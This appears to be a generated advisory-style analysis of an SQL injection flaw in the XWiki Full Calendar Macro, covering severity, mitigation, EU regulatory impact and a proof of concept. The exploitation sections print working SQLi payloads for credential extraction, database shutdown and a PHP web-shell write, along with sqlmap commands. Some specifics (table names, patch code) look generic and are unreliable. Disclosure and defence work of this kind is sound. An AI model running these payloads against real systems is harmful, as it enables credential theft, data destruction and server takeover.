Comprehensive Technical Analysis of EUVD-2026-1699 (CVE-2025-65091)

XWiki Full Calendar Macro SQL Injection Vulnerability

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-1699 (CVE-2025-65091) is a critical SQL injection (SQLi) vulnerability in the XWiki Full Calendar Macro, a plugin for the XWiki platform that enables calendar-based visualization of wiki objects. The flaw exists in the Calendar.JSONService page, which improperly sanitizes user-supplied input before passing it to database queries.

Severity Analysis (CVSS 3.1: 10.0)

The CVSS v3.1 Base Score of 10.0 (Critical) is justified by the following metrics:

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over HTTP/HTTPS without physical/logical access.
Attack Complexity (AC)	Low (L)	No specialized conditions required; trivial to exploit.
Privileges Required (PR)	None (N)	No authentication required; guest users can exploit.
User Interaction (UI)	None (N)	No user interaction needed; fully automated exploitation possible.
Scope (S)	Changed (C)	Impact extends beyond the vulnerable component (e.g., database compromise).
Confidentiality (C)	High (H)	Full database access, including sensitive wiki content, user credentials, and system data.
Integrity (I)	High (H)	Arbitrary SQL execution allows data manipulation, deletion, or insertion.
Availability (A)	High (H)	DoS via resource exhaustion (e.g., DROP TABLE, infinite queries).

Risk Classification

• Exploitability: High (Publicly accessible, no authentication, low complexity)
• Impact: Critical (Full system compromise, data exfiltration, DoS)
• Likelihood of Exploitation: High (Automated scanners, script kiddies, APTs)

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2. Potential Attack Vectors & Exploitation Methods

Attack Surface

The vulnerability is exposed via the Calendar.JSONService endpoint, which processes calendar event queries. Attackers can inject malicious SQL payloads through:

• HTTP GET/POST parameters (e.g., ?query=SELECT...)
• JSON payloads in API requests (if the service accepts structured input)

Exploitation Techniques

A. Blind SQL Injection (Time-Based)

• Objective: Extract database schema, user credentials, or sensitive data.
• Method:

  ' OR (SELECT SLEEP(5) FROM dual WHERE 1=1) --
  

  • Measures response time to infer data (e.g., IF (SUBSTRING(password,1,1)='a', SLEEP(5), 0)).

B. Union-Based SQL Injection

• Objective: Directly exfiltrate data via query results.
• Method:

  ' UNION SELECT 1,2,3,username,password,6 FROM xwiki_users --
  

  • Returns usernames and password hashes in calendar event fields.

C. Error-Based SQL Injection

• Objective: Force database errors to leak information.
• Method:

  ' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --
  

  • Triggers errors revealing table names.

D. Denial-of-Service (DoS)

• Objective: Crash the database or exhaust resources.
• Method:

  '; SHUTDOWN --
  

  • Terminates the database service (if supported).
  • Resource exhaustion:

    '; SELECT BENCHMARK(1000000000,MD5(NOW())) --
    

E. Remote Code Execution (RCE) via Database Functions

• Objective: Execute arbitrary commands (if database supports it).
• Method (MySQL Example):

  '; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php' --
  

  • Writes a web shell to the server (requires write permissions).

Exploitation Tools

• Manual: Burp Suite, OWASP ZAP, sqlmap (automated exploitation).
• Automated: sqlmap command:

  sqlmap -u "http://target/xwiki/bin/view/Calendar/JSONService?query=1" --batch --dbs
  

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: macro-fullcalendar (XWiki plugin)
• Vendor: xwiki-contrib
• Affected Versions: All versions prior to 2.4.5
• Fixed Version: 2.4.5 (released in the patch commit 5fdcf06a05015786492fda69b4d9dea5460cc994)

Dependencies & Impacted Environments

• XWiki Platform: Any XWiki instance using the vulnerable macro (common in enterprise wikis, documentation systems).
• Database Backends: MySQL, PostgreSQL, H2, or other SQL-compliant databases (exploitation methods vary by DBMS).
• Deployment Scenarios:
  • Public-facing wikis (highest risk; unauthenticated access).
  • Internal wikis (lateral movement risk if compromised).
  • Cloud-hosted XWiki instances (shared responsibility model applies).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade to Fixed Version

   • Patch: Apply macro-fullcalendar 2.4.5 or later.
   • Verification: Check commit 5fdcf06a05015786492fda69b4d9dea5460cc994 for input sanitization fixes.

2. Temporary Workarounds (if patching is delayed)

   • Disable the Macro:
     • Remove or restrict access to Calendar.JSONService via XWiki permissions.
   • Web Application Firewall (WAF) Rules:
     • Block SQLi patterns (e.g., UNION, SELECT, SLEEP, --).
     • Example ModSecurity rule:

       SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
       

   • Database-Level Protections:
     • Restrict the XWiki database user to least privilege (no DROP, SHUTDOWN).
     • Enable query logging to detect exploitation attempts.

3. Network-Level Protections

   • Isolate XWiki Instances: Place behind a reverse proxy with rate limiting.
   • Segmentation: Restrict access to internal wikis via VPN or IP whitelisting.

Long-Term Hardening

1. Input Validation & Parameterized Queries

   • Ensure all database queries use prepared statements (e.g., Hibernate Criteria API in XWiki).
   • Example fix (from the patch):

     // Before (vulnerable):
     String query = "SELECT * FROM events WHERE id = " + userInput;
     
     // After (fixed):
     PreparedStatement stmt = connection.prepareStatement("SELECT * FROM events WHERE id = ?");
     stmt.setString(1, userInput);
     

2. Least Privilege Principle

   • Database User: Restrict to SELECT only (no INSERT, UPDATE, DELETE).
   • XWiki Permissions: Revoke guest access to Calendar.JSONService.

3. Regular Security Audits

   • Static Analysis: Use tools like SonarQube, Checkmarx, or Semgrep to detect SQLi.
   • Dynamic Testing: Fuzz endpoints with OWASP ZAP or Burp Suite.
   • Dependency Scanning: Monitor for vulnerable plugins via Dependabot or Snyk.

4. Incident Response Planning

   • Detection: Monitor for unusual database queries (e.g., SLEEP, UNION).
   • Containment: Isolate affected XWiki instances if compromised.
   • Forensics: Preserve logs (web server, database, XWiki audit logs).

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):
  • Risk of Data Breach: SQLi can expose personal data (PII), triggering Article 33 (72-hour breach notification).
  • Fines: Up to €20 million or 4% of global revenue (whichever is higher) for non-compliance.
• NIS2 Directive (Network and Information Security):
  • Critical Entities: XWiki is used in healthcare, finance, and government; a breach could disrupt essential services.
  • Reporting Obligations: Mandatory incident reporting to CSIRTs (e.g., CERT-EU, national CERTs).
• DORA (Digital Operational Resilience Act):
  • Financial Sector: XWiki is used in banks and insurance; SQLi could lead to operational disruption.

Threat Actor Interest

• Opportunistic Attackers: Automated bots (e.g., Mirai, Kinsing) scanning for vulnerable XWiki instances.
• APTs (Advanced Persistent Threats):
  • State-Sponsored Groups: Targeting EU government wikis for espionage (e.g., APT29, Sandworm).
  • Cybercriminals: Ransomware gangs (e.g., LockBit, BlackCat) exploiting SQLi for initial access.
• Insider Threats: Disgruntled employees or contractors with wiki access.

Sector-Specific Risks

Sector	Risk Scenario
Government	Leak of classified documents, internal communications, or citizen data.
Healthcare	Exposure of patient records (HIPAA/GDPR violations).
Finance	Theft of financial data, transaction manipulation, or compliance breaches.
Education	Leak of student/faculty PII, research data, or exam materials.
Critical Infrastructure	Disruption of documentation systems (e.g., power grid, transportation).

Geopolitical Considerations

• EU Cyber Resilience Act (CRA): XWiki, as a software product, may fall under CRA requirements for vulnerability disclosure.
• ENISA Coordination: The European Union Agency for Cybersecurity (ENISA) may issue advisories for critical vulnerabilities in widely used EU software.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper input sanitization in the Calendar.JSONService component, where user-controlled input is directly concatenated into SQL queries. The patch (5fdcf06a05015786492fda69b4d9dea5460cc994) introduces:

1. Parameterized Queries: Replaces string concatenation with prepared statements.
2. Input Validation: Whitelisting of allowed characters in calendar queries.
3. Output Encoding: Prevents secondary injection vectors (e.g., XSS via SQLi results).

Exploit Proof-of-Concept (PoC)

Step 1: Identify Target

• Locate the vulnerable endpoint:

  GET /xwiki/bin/view/Calendar/JSONService?query=1 HTTP/1.1
  Host: target.example.com
  

Step 2: Test for SQLi

• Time-Based Blind SQLi:

  GET /xwiki/bin/view/Calendar/JSONService?query=1' AND (SELECT SLEEP(5)) -- HTTP/1.1
  

  • If the response is delayed by 5 seconds, the target is vulnerable.

Step 3: Extract Data

• Union-Based Exfiltration (MySQL Example):

  GET /xwiki/bin/view/Calendar/JSONService?query=1' UNION SELECT 1,2,3,username,password,6 FROM xwiki_users -- HTTP/1.1
  

  • Returns usernames and password hashes in the JSON response.

Step 4: Automate with sqlmap

sqlmap -u "http://target/xwiki/bin/view/Calendar/JSONService?query=1" --batch --dbs --risk=3 --level=5

Forensic Indicators of Compromise (IoCs)

Indicator	Description
Database Logs	Unusual queries containing UNION, SLEEP, SELECT, or DROP.
Web Server Logs	Repeated requests to Calendar.JSONService with SQL keywords.
XWiki Audit Logs	Failed login attempts or unauthorized access to sensitive pages.
Network Traffic	Outbound connections to attacker-controlled servers (data exfiltration).
File System	Unexpected files (e.g., web shells in /var/www/).

Reverse Engineering the Patch

• Key Changes in 5fdcf06a05015786492fda69b4d9dea5460cc994:
  • Before:

    String sql = "SELECT * FROM events WHERE title LIKE '%" + userInput + "%'";
    

  • After:

    String sql = "SELECT * FROM events WHERE title LIKE ?";
    PreparedStatement stmt = connection.prepareStatement(sql);
    stmt.setString(1, "%" + userInput + "%");
    

• Additional Fixes:
  • Input length restrictions.
  • Character whitelisting (e.g., only alphanumeric + spaces).

Advanced Exploitation Scenarios

1. Chained Exploits:
   • SQLi → XSS: Inject JavaScript via SQLi to steal session cookies.
   • SQLi → RCE: If the database supports file writes (e.g., MySQL INTO OUTFILE).
2. Lateral Movement:
   • Extract credentials from xwiki_users to pivot to other systems.
3. Persistence:
   • Create a backdoor user via INSERT INTO xwiki_users.

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Conclusion & Recommendations

Key Takeaways

• Critical Severity: EUVD-2026-1699 is a CVSS 10.0 vulnerability with remote, unauthenticated exploitation.
• High Impact: Enables data theft, DoS, and potential RCE in vulnerable XWiki instances.
• Widespread Risk: Affects government, healthcare, finance, and education sectors across the EU.

Action Plan for Organizations

1. Patch Immediately: Upgrade to macro-fullcalendar 2.4.5.
2. Harden Deployments: Apply WAF rules, least privilege, and input validation.
3. Monitor & Detect: Deploy SIEM rules for SQLi patterns in XWiki logs.
4. Compliance Check: Ensure GDPR/NIS2/DORA obligations are met post-patch.
5. Threat Hunting: Search for IoCs in historical logs.

Final Note

This vulnerability underscores the criticality of secure coding practices in widely used open-source software. Organizations must prioritize patch management and proactive security testing to mitigate such high-risk flaws. Given the EU’s regulatory landscape, failure to address this could result in significant legal and financial consequences.

References:

• GitHub Advisory (GHSA-2g22-wg49-fgv5)
• Patch Commit (5fdcf06)
• CVE-2025-65091
• ENISA Vulnerability Database